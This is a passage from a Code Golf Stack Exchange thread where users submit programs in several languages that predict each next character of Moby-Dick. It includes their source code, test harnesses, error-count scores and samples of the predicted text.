insrocedented tn hhe sputh Sevsaonh ry, ``` By replacing bad guesses with underscores, we have a better idea of what the function got right: ``` _e_e be it said, that th_s _____n___ous __rsu_t of __e __rt_cular _hale_[LF] _o__inued t__ough ___ _n__ __gh__ and _h_ough __ght _n_o ____ __ _ _hin_[LF] b_ _o means _n_r_cedented _n _he __uth _e_____h_ry_ ``` **NB**: The above example was created with a previous version of the code, working on the first version of the input file. ### Test code ``` /** The prediction function f() and its variables. */ a=[...l='14210100'],m={},s={},b={} f=c=>a.some((t,n)=>x=s[y=l.slice(n)]>t|/^[A-Z '"(]/.test(y)&&b[y],l+=String.fromCharCode(c),a.map((_,n)=>(m[x=l.slice(n)]=-~m[x])<s[y=l.slice(n,8)]||(s[y]=m[x],b[y]=c)),l=l.slice(1))&&x||32 /** A closure containing the test code and computing E. It takes f as input. (f can't see any of the variables defined in this scope.) */ ; (f => { const fs = require('fs'); let data = fs.readFileSync('whale2.txt'), len = data.length, err = 0; console.time('ElapsedTime'); data.forEach((c, i) => { i % 100000 || console.log((i * 100 / len).toFixed(1) + '%'); if(i < len - 1 && f(c) != data[i + 1]) { err++; } }) console.log('E = ' + err); console.timeEnd('ElapsedTime'); })(f) ``` --- ### Change log * **524727** - saved 19644 points by switching to [**whale2.txt**](https://gist.githubusercontent.com/nathanielvirgo/73b4181917f83c0cd306bd0d8f4c998a/raw/208774322bad4e04715eae743d7d350b504fe5eb/whale2.txt) (challenge update) * **544371** - saved 327 points by forcing patterns starting with a capital letter, a quote, a double-quote or an opening parenthesis to be also always trusted * **544698** - saved 2119 points by forcing patterns starting with a space to be always trusted * **546817** - saved 47 points by adjusting the thresholds and golfing the prediction function * **546864** - saved 1496 points by extending the maximum pattern length to 8 characters * **548360** - saved 6239 points by introducing the notion of trusted patterns, with thresholds depending on their length * **554599** - saved 1030 points by improving the line feed prediction * **555629** - saved 22 points by golfing the prediction function * **555651** - saved 40 points by golfing the prediction function * **555691** - initial score [Answer] # Python 3, 2·267 + 510193 = 510727 ### Predictor ``` def p(): d={};s=b'' while 1: p={0:1};r=range(len(s)+1) for i in r: for c,n in d.setdefault(s[:i],{}).items():p[c]=p.get(c,1)*n**b'\1\6\f\36AcWuvY_v`\270~\333~'[i] c=yield max(sorted(p),key=p.get) for i in r:e=d[s[:i]];e[c]=e.get(c,1)+1 s=b'%c'%c+s[:15] ``` This uses a weighted Bayesian combination of the order 0, …, 16 Markov models, with weights [1, 6, 12, 30, 65, 99, 87, 117, 118, 89, 95, 118, 96, 184, 126, 219, 126]. The result is not very sensitive to the selection of these weights, but I optimized them because I could, using the same [late acceptance hill-climbing](http://www.yuribykov.com/LAHC/) algorithm that I used in [my answer to “Put together a Senate majority”](https://codegolf.stackexchange.com/a/132498/39242), where each candidate mutation is just a ±1 increment to a single weight. ### Test code ``` with open('whale2.txt', 'rb') as f: g = p() wrong = 0 a = next(g) for b in f.read(): wrong += a != b a = g.send(b) print(wrong) ``` [Answer] # [Python 3](https://docs.python.org/3/), 2\*279+592920=593478 2\*250 + 592467 = 592967 2 \* 271 + 592084 = 592626 2 \* 278 + 592059 = 592615 2 \* 285 + 586660 = 587230 2 \* 320 + 585161 = 585801 2 \* 339 + 585050 = 585728 ``` d=m={} s=1 w,v='',0 def f(c): global w,m,v,s,d if w not in m:m[w]={} u=m[w];u[c]=c in u and 1+u[c]or 1;v+=1;q=n=' ';w=w*s+c;s=c!=n if w in m:_,n=max((m[w][k],k)for k in m[w]) elif s-1:n=d in'nedtfo'and't'or'a' elif'-'==c:n=c elif"'"==c:n='s' elif'/'<c<':':n='.' if v>4*(n!=q)+66:n='\n' if s:d=c if c<q:w=w[:-1]+q;v=s=0 return n ``` [Try it online!](https://tio.run/##ZVRdb9s2FH3nr7jNC@1adiNs6AA7LDAURTMsWx@aYgiyYKAp2iJMkQ5JSTWK/vbsXspyvvgi8n6ecy6p/SHV3v3y8FCJRvz4yaIoWV90gvPinFV6A5uJmi4ZbK1fSwt90RRdEYuKgdlAD84nMA6aZXPb31E@tIK2q/ZW3QlFvhakq6CckcUHKFfdTJSre@EEB77qRf82ztQqCvVGuGPVXPG/wolGfp9MqN7t7q7YTTeYv8teNE0ZaIvhcV4unajQzJ2u0sZz7McT94FLPsTwORdCYZQazmf8bDjzOEa84xfqgi85GRc84@g@/Pp24t6I@@ns/Xuy/@sGR1xWVAl36uJ@iQxul/Pybna/6kQU5wyCTm1w4B6yfkcBcZ00hKaAroBYQJUdz6XM7EAAqYkr01dkGHczKHPzUQlkEDWUObqHmQA1Vo1D48Ex2mlFPJ3nU0cJQ65DI@djbgcfBPxWPlbI7qwBriz9cVLPIl6MDJ7P7La8e0xXILAi8BctJD@dMYgGC@Nkl4BjSCOCqF9kwgn869LEuHxMxLpPdBrCkdtzvfgjku4k2DhdxtgejX97p1kw2zrliOQTjph2zDR7HxLEQ2TY4jq0T@CSKpaYoXcRU2XcImhZWeN0nEwf48bYPGv73H7EvifsagkDhtMwny4Sh67hKwcRcK@sA4dcaR@MSxP@4ye8w/u4hE/4xvkCETUyTXLHYgg/fmA@4JhOH9in65u/vlx9@XyzYGzytd3vrdEVrA8g4UomDR@9i22zT6bT8C3WOmAJ9H0OsmlkgK@q9t5OGbuuNeylPQbN56kmqdYyaBJFeYkYai0Dfta@OhT5f7MO0rgV/AFRa6hNw5zvF3CpoZcRdIfNqjYm47bojOBtBVZ/Nwoh5fTtAAJfaG9SjajuW60Dq9G300HVRm/wFXu1wwr2ALpZa2sN4quOCdZCQtxbeYCNlVtssSEjI@MOseAFkslQO3SQsffBVhmh9R2WQS0I4QneiGgFJrHoG137HhpjK2wfdGNchUlIlOpRToN3T1qTDqj@2T@1Qf0OvoUkd1k2YkI9YlYZPEIgtkdr0lLVBKuhefW1TMzJRqMOuLd6vkGqgE0wdK1BITGd36lvaYhu2yILLTuS17d0Rerg223NzNb5IJ3SReZsdUo4iUtUuTaKVGs8UpYW3xT@SHY6ZRAQMc9sjMqKIUF2FKwqMqcK/yY00YQ4j5UQG/1PEz66xRnM55e/f/zz6tvNNfsf "Python 3 – Try It Online") A function using global variables. Learns as it goes, building a model at the word level: given what it's seen so far *in this word*, what's the most common next character? As more input comes in it learns common words from the text pretty well, and it also learns the most common character to start the *next* word. For example: * If what it's seen so far is 'Captai' it predicts an "n" * If it's "Captain" it predicts a space * If it's the start of a word, and the last word was "Captain" it predicts an 'A' * If the word so far is 'A' it predicts an 'h' (and then 'a' and 'b'; similarly for 'C'). It doesn't do very well at the start, but by the end there are large parts of actual words coming out. The fallback option is a space, and after a single space it's an "a", unless the preceding letter was one of "nedtfo", a digit, or a hyphen or apostrophe. It also aggressively predicts line breaks after 71 characters, or if a space was expected after 66. Both of those were just tuned to the data ("t" is far more common after a space, but has more often already been predicted, so "a" is a better guess outside those six special cases). Learning what word pairs went together and preseeding the mapping turned out not to be worthwhile. --- It ends up with text like this: ``` nl tneund his I woi tis tnlost ahet toie tn tant wod, ihet taptain Ahab ses snd t oeed Sft aoid thshtego Io, fhe soie tn tant tot the soie ahe sewbtoon swn tagd aoths eatmved fhe sewbtoon wor ta I sfey aote of totsonld nive betse d ahe hate Whale iorst Ihe e ioi beaos! -there soi beaos! -there soi beaos! ``` which corresponds to this part of the input: > > all around him. > > > "I saw him almost that same instant, sir, that Captain Ahab did, and I > cried out," said Tashtego. > > > "Not the same instant; not the same--no, the doubloon is mine, Fate > reserved the doubloon for me. I only; none of ye could have raised the > White Whale first. There she blows!--there she blows!--there she blows! > > > You can see where proper nouns in particular come out pretty well, but the ends of words are mostly right as well. When it's seen "dou" it expects "doubt", but once the "l" appears it gets "doubloon". If you run it a second time with the same model it just built it immediately gets another 92k correct (51.7%->59.3%), but it's always just under 60% from the second iteration on. --- The measuring code is in the TIO link, or here's a slightly better version: ``` total = 0 right = 0 with open('whale.txt') as fp: with open('guess.txt', 'w') as dest: for l in fp.readlines(): for c in l: last = c if p == c: right += 1 n = f(c) p = n total += 1 dest.write(n) if total % 10000 == 0: print('{} / {} E={}\r'.format(right, total, total-right), end='') print('{} / {}: E={}'.format(right, total, total - right)) ``` `guess.txt` has the guessed output at the end. [Answer] # C++, score: 2\*132 + 865821 = 866085 *Thanks to @Quentin for saving 217 bytes!* ``` int f(int c){return c-10?"t \n 2 sS \n - 08........ huaoRooe oioaoheu thpih eEA \n neo enueee neue hteht e"[c-32]:10;} ``` A very simple solution that, given a character, just outputs the character that most frequently appears after the input character. **Verify the score with:** ``` #include <iostream> #include <fstream> int f(int c); int main() { std::ifstream file; file.open("whale2.txt"); if (!file.is_open()) return 1; char p_ch, ch; file >> std::noskipws >> p_ch; int incorrect = 0; while (file >> std::noskipws >> ch) { if (f(p_ch) != ch) ++incorrect; p_ch = ch; } file.close(); std::cout << incorrect; } ``` **Edit:** Using `whale2.txt` gives a better score. [Answer] ## Python, 2\*516 + 521122 = 522154 ### Algorithm: Yet another python submission, this algorithm calculates the most likely next letter looking at sequences of length 1,...,l. The sum of probabilities is used, and there are a few tricks to get better results. ``` from collections import Counter as C, defaultdict as D R,l=range,10 s,n='',[D(C) for _ in R(l+1)] def A(c): global s;s+=c; if len(s)<=l:return ' ' P=D(lambda:0) for L in R(1,l+1): w=''.join(s[-L-1:-1]);n[L][w].update([c]);w=''.join(s[-L:]) try: q,z=n[L][w].most_common(1)[0];x=sum(list(n[L][w].values())) except IndexError:continue p=z/x if x<3:p*=1/(3-x) P[q]+=p if not P:return ' ' return max(P.items(),key=lambda i:i[1])[0] import this, codecs as d [A(c) for c in d.decode(this.s, 'rot-13')] ``` ### Results: Mostly gibberish, although you can see it picks up on the occasional phrase, such as "Father Mapple". ``` errors: 521122 TRAINING: result: tetlsnowleof the won -opes aIther Mapple,woneltnsinkeap hsd lnd the thth a shoey,aeidorsbine ao actual: ntal knobs of the man-ropes, Father Mapple cast a look upwards, and then with a truly sailor-like bu FINAL: result: mnd wnd round ahe ind tveryaonsracting th ards the sol ens-ike aeock tolblescn the sgis of thet t actual: und and round, then, and ever contracting towards the button-like black bubble at the axis of that s ``` ### Test code: Pretty simple, outputs some examples of the text at different points. Uses whale2.txt, as this avoids some extra logic to calculate newlines. ``` from minified import A def score(predict, text): errors = 0 newtext = [] for i, (actual, current) in enumerate(zip(text[1:], text[:-1])): next = predict(current) errors += (actual != next) newtext.append(next) if (i % (len(text) // 100) == 0): print ('.', end='', flush=True) return errors, ''.join(newtext) t = open('whale2.txt') text = t.read() err2, text2 = score(A, text) print('errors:', err2) print("TRAINING:") print(text2[100000:100100].replace('\n', '\\n')) print(text1[100001:100101].replace('\n', '\\n')) print("FINAL:") print(text2[121400:1215500].replace('\n', '\\n')) print(text[121401:1215501].replace('\n', '\\n')) ``` [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~679787~~ 652892 ~~84~~ 76 bytes, ~~679619~~ 652740 incorrect guesses ``` p[128][128][128][128];a,b,c,d;g(h){p[a][b][c][d]=h;h=p[a=b][b=c][c=d][d=h];} ``` [Try it online!](https://tio.run/##XZDRauMwEEWf7a@YGkLtRFm3@1Qs9NhAobAf4PpBGUuyWEUOklKzLfn19UoqtGURiOEyc@bOxb1CXNdzf//zYfjvo5wcCZKRqnpq3s89H/rj0OPQjwOb6MSiwqJwZFFCNkadTQO9rtoGOHFt61Rwp5AATtxtt/DavJfF4en5cQuayfksbP3a3w@kclVDyyJ1gUViFLujbWuxAyuWpBIwqgPDfVAX4X1ZJPTC7kjInUsHi5utIhA6CHPgpiyWSRtR1xaZVCJgrZsGbhg8/jokE4WWtVF7iw0sux2FttUy8yEvAO3tbYAwCfD8JID7XEsn/GT@gBN8zDdxDCKa0xadOInkKaKjfRX3Nokag/gt8mzmErh4bdUX7IsSB88uniXraoNVzOBjPmugAwE5OzAX8/YjdoYPz98W56sB54vNrGv5SXux6T1ZnJ0TGLrN2G7GF1uRhYSUukQzexHzoeWVruX6F6Xhyq/75R8 "C (gcc) – Try It Online") Update: ~27000 points off with updated file, 16 points (8 bytes) with a better-golfed function. ## Explanation The way this works is that as the code runs through the text, it memorizes the last character that terminated any given 4-character sequence, and returns that value. Somewhat similar to Arnauld's approach above, but relies on the inherent likelihood of two given 4-character sequences terminating the same way. De-golfed: ``` p[128][128][128][128]; a,b,c,d; g(h){ p[a][b][c][d]=h; // Memorize the last character. h=p[a=b][b=c][c=d][d=h]; // Read the guess. We save several // bytes with the assignments inside indices. } ``` [Answer] # C++, 2·62829 + 318786 = 444444 To run this program, you need [this file here](https://www.dropbox.com/s/285u647xlzdb0ia/C), which must be named `C`. The program uses the same combination of Markov models as in [our earlier answer](https://codegolf.stackexchange.com/a/153218/49643). As before, this combination is essentially the model from [this answer by user2699](https://codegolf.stackexchange.com/a/153050/49643), but with a few small modifications. Seeing as how this answer uses the exact same model as before, the improvement is a **better information-theoretic mechanism** than the "rewind" mechanism described earlier. This allows it to make fewer errors while also having a smaller combined length. The program itself isn't golfed very much because it is not the major contributor to the score. The program is 2167 bytes long (including all the tabs for indentation and lots of other unnecessary characters, but before the test code), and the binary file `C` is 60661 bytes long, so [under the rules for scoring multiple files](https://codegolf.meta.stackexchange.com/questions/4933/counting-bytes-for-multi-file-programs/4934#4934), we score `L` as 2167 + 60661 + 1 = 62829. The program takes approximately 8 minutes to run on an `m5.4xlarge` instance on Amazon EC2 and uses a little over 16 GB of memory. (This excessive memory usage isn't necessary -- we just didn't optimize that either.) ``` #include <map> #include <queue> #include <vector> using namespace std; FILE *in; unsigned int a, b = -1, c, d; string s, t; double l, h = 1, x[128][129], y[129], m[128]; map<string, int> N; map<string, double[128]> M; int G, S; int f(int C) { int i, j; for (i = 0; i <= 20 && i <= S; i++) { t = s.substr(S - i); N[t]++; M[t][C]++; } s += C; S++; for (i = 0; i < 128; i++) m[i] = 0; int E = 0; for (i = 20; i >= 0; i--) { if (i > S) continue; t = s.substr(S - i); if (i <= 2 && E >= 100 && (i == 0 || t[0] != ' ')) break; if (M.find(t) == M.end()) continue; for (j = 0; j < 128; j++) { m[j] += M[t][j] / N[t]; } E += N[t]; } double r = 0; for (i = 0; i < 128; i++) r += m[i]; for (i = 0; i < 128; i++) m[i] = m[i] / r; if (!in) { in = fopen("C", "r"); for (i = 0; i < 4; i++) c = c << 8 | getc(in); } else { l = x[C][G] + (l - y[G]) * (x[C][G + 1] - x[C][G]) / (y[G + 1] - y[G]); h = x[C][G] + (h - y[G]) * (x[C][G + 1] - x[C][G]) / (y[G + 1] - y[G]); } priority_queue<pair<double, int>> q; for (i = 0; i < 128; i++) { q.push(make_pair(m[i], i)); } int n = 0; double s = 0; while (q.size()) { i = q.top().second; q.pop(); if (m[i] < s / (n + 15)) break; s += m[i]; n++; } r = 0; for (i = 0; i < 128; i++) { y[i + 1] = m[i] - s / (n + 15); if (y[i + 1] < 0) y[i + 1] = 0; r += y[i + 1]; } for (i = 0; i < 128; i++) y[i + 1] /= r; for (i = 0; i < 128; i++) { r = 0; for (j = 0; j < 128; j++) { x[i][j + 1] = y[j + 1]; if (i == j) x[i][j + 1] *= 16; r += x[i][j + 1]; } for (j = 0; j < 128; j++) x[i][j + 1] /= r; x[i][0] = 0; for (j = 0; j < 128; j++) x[i][j + 1] += x[i][j]; } y[0] = 0; for (i = 0; i < 128; i++) y[i + 1] += y[i]; for (G = 0; G < 128; G++) { if (y[G + 1] <= l) continue; if (y[G + 1] < h) { d = a + (b - a) * ((h - y[G + 1]) / (h - l)); if (c <= d) { b = d; l = y[G + 1]; } else { a = d + 1; h = y[G + 1]; } while ((a ^ b) < (1 << 24)) { a = a << 8; b = b << 8 | 255; c = c << 8 | getc(in); } } if (h <= y[G + 1]) return G; } } // End submission here. Test code follows. int main() { FILE *moby = fopen("whale2.txt", "r"); int E = 0; int c = getc(moby); while (c != EOF) { int guess = f(c); c = getc(moby); if (c != guess) E++; } printf("E=\t%d\n", E); return 0; } ``` [Answer] ### sh+bzip2, 2\*364106 = 728212 2\*381249 + 0 = 762498 ``` dd if=$0 bs=1 skip=49|bunzip2&exec cat>/dev/null ``` followed by the bzip2-compressed whale2.txt with the first byte missing Ignores its input; outputs the correct answer. This provides a baseline on one end; daniero provides a baseline on the other end. Builder script: ``` #!/bin/sh if [ $# -ne 3 ] then echo "Usage $0 gen.sh datafile output.sh" exit 1 fi cat $1 > $3 dd ibs=1 if=$2 skip=1 | bzip2 -9 >> $3 chmod +x $3 ``` I/O test harness (tcc; cut off first line for gcc). This test harness can be used by anybody on a suitable platform that submits a complete program that expects read/write I/O. It uses byte-at-a-time I/O to avoid cheating. Child program must flush output after every byte to avoid blocking. ``` #!/usr/bin/tcc -run #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { volatile int result; int readfd[2]; int writefd[2]; int cppid; int bytecount; char c1, c2, c3; if (argc != 2) { printf("write X approximately -- service host\n"); printf("Usage: %s serviceprocessbinary < source.txt\n", argv[0]); return 1; } /* Start service process */ if (pipe(readfd)) { perror("pipe()"); return 3; } if (pipe(writefd)) { perror("pipe()"); return 3; } result = 0; if (!(cppid = vfork())) { char *argtable[3]; argtable[0] = argv[1]; argtable[1] = NULL; dup2(readfd[0], 0); dup2(writefd[1], 1); close(readfd[1]); close(writefd[0]); close(readfd[0]); close(writefd[1]); execvp(argv[1], argtable); if (errno == ENOEXEC) { argtable[0] = "/bin/sh"; argtable[1] = argv[1]; argtable[2] = NULL; /* old standard -- what isn't an executable * can be exec'd as a /bin/sh script */ execvp("/bin/sh", argtable); result = ENOEXEC; } else { result = errno; } _exit(3); } else if (cppid < 0) { perror("vfork()"); return 3; } if (result) { errno = result; perror("execvp()"); return 3; } close(readfd[0]); close(writefd[1]); /* check results */ read(0, &c2, 1); bytecount = 1; errno = 0; while (read(0, &c1, 1) > 0) { write(readfd[1], &c2, 1); if (read(writefd[0], &c3, 1) <= 0) { printf("%d errors (%d bytes)\n", result, bytecount); if (errno == 0) fprintf(stderr, "pipe: unexpected EOF\n"); else perror("pipe"); return 3; } if (c3 != c1) ++result; c2 = c1; ++bytecount; } printf("%d errors (%d bytes)\n", result, bytecount); return 0; } ``` [Answer] # [Python 3](https://docs.python.org/3/), 879766 ``` F=[[0]*123for _ in range(123)] P=32 def f(C):global P;C=ord(C);F[P][C]+=1;P=C;return chr(max(enumerate(F[C]),key=lambda x:x[1])[0]) ``` [Try it online!](https://tio.run/##bVTbbttGEH32fsUkAmqykVgrfpOgh0Ko4qIOYiA2AkMWjBU5FBda7qrLpS4I8u3uGUq@pO2TxLmcOecMh5tDrLy7fHqaTebzi8Wvw4@XpQ/0SMZR0G7FCSLpQt1MLj@qgksqk2k6Wlm/1JZuxtOJDwUi49n8ZjGfLj5MhuObyXQcOLbBUV6FpNb7hF1bc9CRkxmK0v6aDxOr62WhaT/az4eLFLPTJ9WjO7fytuSCcl8wLdn6nUK4DPx3yy4/0ISeedL/Eu3RJvAWZeDboyPjvNIhHamzHp2IS4k8SgKloqGrkdjLqLlULeaSWNCHCQ0lWxv3aFzBe7SJMnWG4Ku81@auLe13echF@YtgEsUClhKkyJ8TZemRx7fuPc8DN2XqjQ@RmkPz/Deamk1U3WZq1k0bOBGlpbEMQFRmTSxgUY/8hl0Szqejh42O1UP0D1L0sKu05Szu4zkmRN5HtEkiC6yLJD1CZbn1DcuTcbkPgXMpu1BnQtz4tnk8OSkAnSbZTRfD7C44HC3A62zVctPIiOSnViC/gYbZxsXkWPvu6EtXUVLyWvULXewvZ7NZShNwIe0K@qlDxoGgIJ1//0FZlp1noFXr@AqSCuy/RXRrUG9af6PvP/7b2ycLR0VcOhgCSJ0abrGT0dsO@NqtKTv@JKdF9QmvzZLDZJgqtD@pP27vP3@5/vLpPlMq@dpuNtbgEJYH0nSNl4um3jVtvYlmy3TXVBwoeuQ@BV3XIP41r7y34HFbMW2w1WPRYBAr2eVSB5Zt5F6DesU64Gfpi0O/s24ZtHFj@pMaZqpMrZzfZXTFtNMN8RbDiraJxq2QbMjbAur3Jgelo/NHEk2fdiZWYIUz4KAq5NYc8spw2afa52sg2AMxhFtrwK84NVhLEbxX@kCl1SuMKCWoJLgGF0dORyPjkJDgzgdbdAyt3wIGXgjDF3rPjMaEA2l8zZXf4XxtgfGBazmqQoQKnvTUuCdtTTzA/fffKjmgg28p6nVnmyiRGU3nMnlQELWnaGSdV0Krln3hpqJyumb40N3XoIRUwhCULplyCMNwoPpWlujw3sJOvRV7fYu9YGW@XVXKrJzH1y3nfqfZcozYxBVcrkwurtUekrX1jvE5WnPsSFCDPlOavHMMAtXJsKLfaSrYGtloBM8TErg5j@9JaDl7T4PB1e/Tv67v7m/VPw "Python 3 – Try It Online") --- ... The `///` answer which prints a space get 10 upvotes, while my code can only get 3 ... Explanation: For each character, the program: * increase `frequency[prev][char]` * Find the character that appear the most times in `frequency[char]` * and output it. --- * Ungolfed code in TIO link, commented out. * The code is 131 bytes. * The code run on my machine reports: ``` 879504 / 1215235 Time: 62.01348257784468 ``` which have the total score ``` 2*131 + 879504 = 879766 ``` Because there is no way to upload a large file to TIO (except asking Dennis), the example run in the TIO link only runs the program for a small part of the text. In comparison with the older answer, this one have 362 more incorrect characters, but the code is shorter by 255 bytes. The multiplier makes my submission have lower score. [Answer] # C#, 378\*2 + 569279 = 570035 ``` using System.Collections.Generic;using System.Linq;class P{Dictionary<string,Dictionary<char,int>>m=new Dictionary<string,Dictionary<char,int>>();string b="";public char N(char c){if(!m.ContainsKey(b))m[b]=new Dictionary<char,int>();if(!m[b].ContainsKey(c))m[b][c]=0;m[b][c]++;b+=c;if(b.Length>4)b=b.Remove(0,1);return m.ContainsKey(b)?m[b].OrderBy(k=>k.Value).Last().Key:' ';}} ``` This approach uses a look-up table to learn the most common character that follows a given string. The keys of the look-up table have a maximum of 4 characters, so the function first updates the look-up table with the current character and then just checks which character is the most likely to happen after the 4 previous ones including the current one. If those 4 characters are not found in the look-up table, it prints a space. This version uses the `whale2.txt` file, as it greatly improves the number of successful guesses. Following is the code used to test the class: ``` using System; using System.IO; using System.Text; public class Program { public static void Main(string[] args) { var contents = File.OpenText("whale2.txt").ReadToEnd(); var predictor = new P(); var errors = 0; var generated = new StringBuilder(); var guessed = new StringBuilder(); for (var i = 0; i < contents.Length - 1; i++) { var predicted = predictor.N(contents[i]); generated.Append(predicted); if (contents[i + 1] == predicted) guessed.Append(predicted); else { guessed.Append('_'); errors++; } } Console.WriteLine("Errors/total: {0}/{1}", errors, contents.Length); File.WriteAllText("predicted-whale.txt", generated.ToString()); File.WriteAllText("guessed-whale.txt", guessed.ToString()); Console.ReadKey(); } } ``` The code runs in barely 2 seconds. Just for the record, this is what I get when I modify the size of the keys of the look-up table (includes the results of a second run without resetting the model): ``` Size Errors Errors(2) ------------------------- 1 866162 865850 2 734762 731533 3 621019 604613 4 569279 515744 5 579446 454052 6 629829 396855 7 696912 335034 8 765346 271275 9 826821 210552 10 876471 158263 ``` It would be interesting to know why a key size of 4 characters is the best choice in this algorithm. **Text comparison** Original: ``` "And did none of ye see it before?" cried Ahab, hailing the perched men all around him. "I saw him almost that same instant, sir, that Captain Ahab did, and I cried out," said Tashtego. "Not the same instant; not the same--no, the doubloon is mine, Fate reserved the doubloon for me. I only; none of ye could have raised the White Whale first. There she blows!--there she blows!--there she blows! There again!--there again!" ``` Recreated: ``` "Tnd tes note of to seamtn we ore sried thab wedleng the srriead te a l tneund tes "T day tim t lost shet toie tn tand aor, ahet taptain thab sid tnd t waued tnt said teshtego "To, ahe shme tn tand aot the shme whot nhe sewbteodsan tagd althsteatnved the sewbteodsaor te, I hncy aote of to sanld bave beised the shate Whale iorst Bhe e ati boaos -the ati boaos -the ati boaos the e anains -ahe anains ``` Guesses: ``` "_nd ___ no_e of __ se____ _e_ore____ried _hab_ ___l_ng the __r___d _e_ a_l ___und _____ "_ _a_ _im ___ost _h_t ___e _n_tan__ __r, _h_t _aptain _hab _id_ _nd _ ___ed __t__ said __shtego__ "_o_ _he s_me _n_tan__ _ot the s_me___o_ _he ___b__o____ _____ __t___e___ved the ___b__o___or _e_ I _n_y_ _o_e of __ ___ld _ave __ised the _h_te Whale __rst_ _he_e ___ b___s__-the__ ___ b___s__-the__ ___ b___s_ _he_e a_ain__-_he__ a_ain__ ``` **Change log** * **569279** - changed to `whale2.txt` and thus removed the optimization. * **577366** - optimized with code that tried to guess when to return a line feed. * **590354** - original version. [Answer] # Java 7, 1995 characters, (1995\*2+525158) 529148 Java sucks for small program sizes. Anyway, I tried several extremely complex and tricky approaches that produced surprisingly crap results. I subsequently went back and just did a simple approach, which resulted in a smaller program size and better results. This approach is actually extremely simple. It blindly feeds the previous x characters (in addition to all substrings of those characters) into a hashtable, mapped to the current character. It then keeps track of which patterns most accurately predict the current character. If patterns that precede certain characters are encountered multiple times, they succeed in predicting the character. It gives precedence to longer strings and it gives precedence to whichever character most often follows a given string. This algorithm knows nothing about the type of document or the english language. I settled on using 9 characters and attempting to match whole words within those previous 9 characters when possible. When you don't try to do word matching within the strings, the optimum length is 6 characters, producing several thousand more mispredictions. One interesting observation was that using 20 characters resulted in bad predictions the first time through but 99.9 percent accuracy on subsequent passes. The algorithm was basically able to memorize the book in overlapping 20 byte chunks, and this was distinct enough to allow it to recall the entire book a character at a time. * (1950\*2+532919) **536819** * (2406\*2+526233) **531045** checking for punctuation to make better guesses * (1995\*2+525158) **529148** more tweaking, golfed away some verbiage --- ``` package mobydick; import java.util.HashMap; public class BlindRankedPatternMatcher { String previousChars = ""; int FRAGLENGTH = 9; HashMap > patternPredictor = new HashMap<>(); void addWordInfo(String key, String prediction) { HashMap predictions = patternPredictor.get(key); if (predictions == null) { predictions = new HashMap(); patternPredictor.put(key, predictions); } WordInfo info = predictions.get(prediction); if (info == null) { info = new WordInfo(prediction); predictions.put(prediction, info); } info.freq++; } String getTopGuess (String pattern) { if (patternPredictor.get(pattern) != null) { java.util.List predictions = new java.util.ArrayList<>(); predictions.addAll(patternPredictor.get(pattern).values()); java.util.Collections.sort(predictions); return predictions.get(0).word; } return null; } String mainGuess() { if (trimGuess(",") != null) return trimGuess(","); if (trimGuess(";") != null) return trimGuess(";"); if (trimGuess(":") != null) return trimGuess(":"); if (trimGuess(".") != null) return trimGuess("."); if (trimGuess("!") != null) return trimGuess("!"); if (trimGuess("?") != null) return trimGuess("?"); if (trimGuess(" ") != null) return trimGuess(" "); for (int x = 0;x< previousChars.length();x++) { String tg = getTopGuess(previousChars.substring(x)); if (tg != null) { return tg; } } return "\n"; } String trimGuess(String c) { if (previousChars.contains(c)) { String test = previousChars.substring(previousChars.indexOf(c)); return getTopGuess(test); } return null; } public String predictNext(String newChar) { if (previousChars.length() < FRAGLENGTH) { previousChars+= newChar; } else { for (int x = 0; x addWordInfo(previousChars.substring(x), newChar); } previousChars = previousChars.substring(1) + newChar; } return mainGuess(); } class WordInfo implements Comparable { public WordInfo (String text) { this.word = text; } String word; int freq = 0; @Override public int compareTo(WordInfo arg0) { return Integer.compare(arg0.freq, this.freq); } ``` [Answer] # Python 3, ~~2×497+619608=620602~~ 2×496+619608=620600 ``` import operator as o l='' w='' d={} p={} s=0 def z(x,y): return sorted([(k,v) for k,v in x.items() if k.startswith(y)],key=o.itemgetter(1)) def f(c): global l,w,d,p,s r=' ' if c in' \n': s+=1 if w in d:d[w]+=1 else:d[w]=1 if w: if l: t=l+' '+w if t in p:p[t]+=1 else:p[t]=1 n=z(p,w+' ') if n:g=n[-1];l=w;w='';r=g[0][len(l)+1] else:l=w;w='';r='t' else: w=w+c;m=z(p,w) if m: g=m[-1] if g[0]==w: if s>12:s=0;r='\n' else:r=g[0][len(w)] return r ``` I attempted this independently, but ended up with what's effectively an inferior version of Michael Homer's answer. I hope that doesn't render my answer completely obsolete. This builds over time a dictionary of words (crudely defined as strings terminated by or `\n`, case-sensitive and including punctuation). It then searches this dictionary for words beginning with what it so far knows of the current word, sorts the resulting list by frequency of occurrence (slowly), and guesses that the next character is the next character in the most common matching word. If we already have the most common matching word, or no longer matching word exists, it returns . It also builds up a disgustingly inefficient dictionary of word pairs. Upon hitting a word boundary, it guesses that the next character is the first letter of the second word in the most common matching word pair, or `t` if there is no match. It's not very clever, though. Following `Moby`, the program correctly guesses that the next character is `D`, but then it forgets all about the context and usually ends up calling the whale "Moby Duck" (because the word "Dutch" seems to be more frequent in the first half of the text). It would be easy to fix this by prioritising word pairs over individual words, but I expect the gain would be marginal (since it's usually correct from the third character on, and the word pairs aren't that helpful in the first place). I could tune this to better match the provided text, but I don't think manually tuning the algorithm based on prior knowledge of the input is really in the spirit of the game so, other than choosing t as the fallback character after a space (and I probably shouldn't have done that either), I avoided that. I ignored the known line length of the input file, and instead inserted `\n` after every 13 spaces—this is almost certainly a very poor match, the main intention was to keep the line length reasonable rather than to match the input. The code isn't exactly fast (~2 hours on my machine), but overall gets about half the characters right (49%). I expect the score would be marginally better if run on `whale2.txt`, but I haven't done that. The start of the output looks like this: > > `T t t t t t t t t L t t t tsher > t t t ty t to t t te t t t t t tem t t t > d b ta tnL te t tv tath a to tr t tl t > l toe g to tf ahe gi te we th austitam ofd laammars, tn te to t tis > nf tim oic t t th tn cindkth ae tf t > d bh ao toe tr ai tat tnLiat tn to ay to tn > hf to tex tfr toe tn toe kex te tia t l t l ti toe > ke tf hhe kirl tou tu the tiach an taw th t t Wh tc t > d t te the tnd tn tate tl te tf teu tl tn oan. > HeAL. tn nn tf r t-H ta t WhALE.... S tn nort ts tlom > rhe ka tnd Dr t t tALL th teuli th tis t-H taCTIONARY > " t r t o t a t A t . t eALT > t I t HLW t I t e t w t AO t t t AOLE, > I T t t t ALE t w t t R t EK t T t R tSupplied > by wnLw t t iit ty cce thet whe to tal ty tnd` > > > but by the end, it looks a bit more like... something. My favourite passage from near the end of the book, > > "I turn my body from the 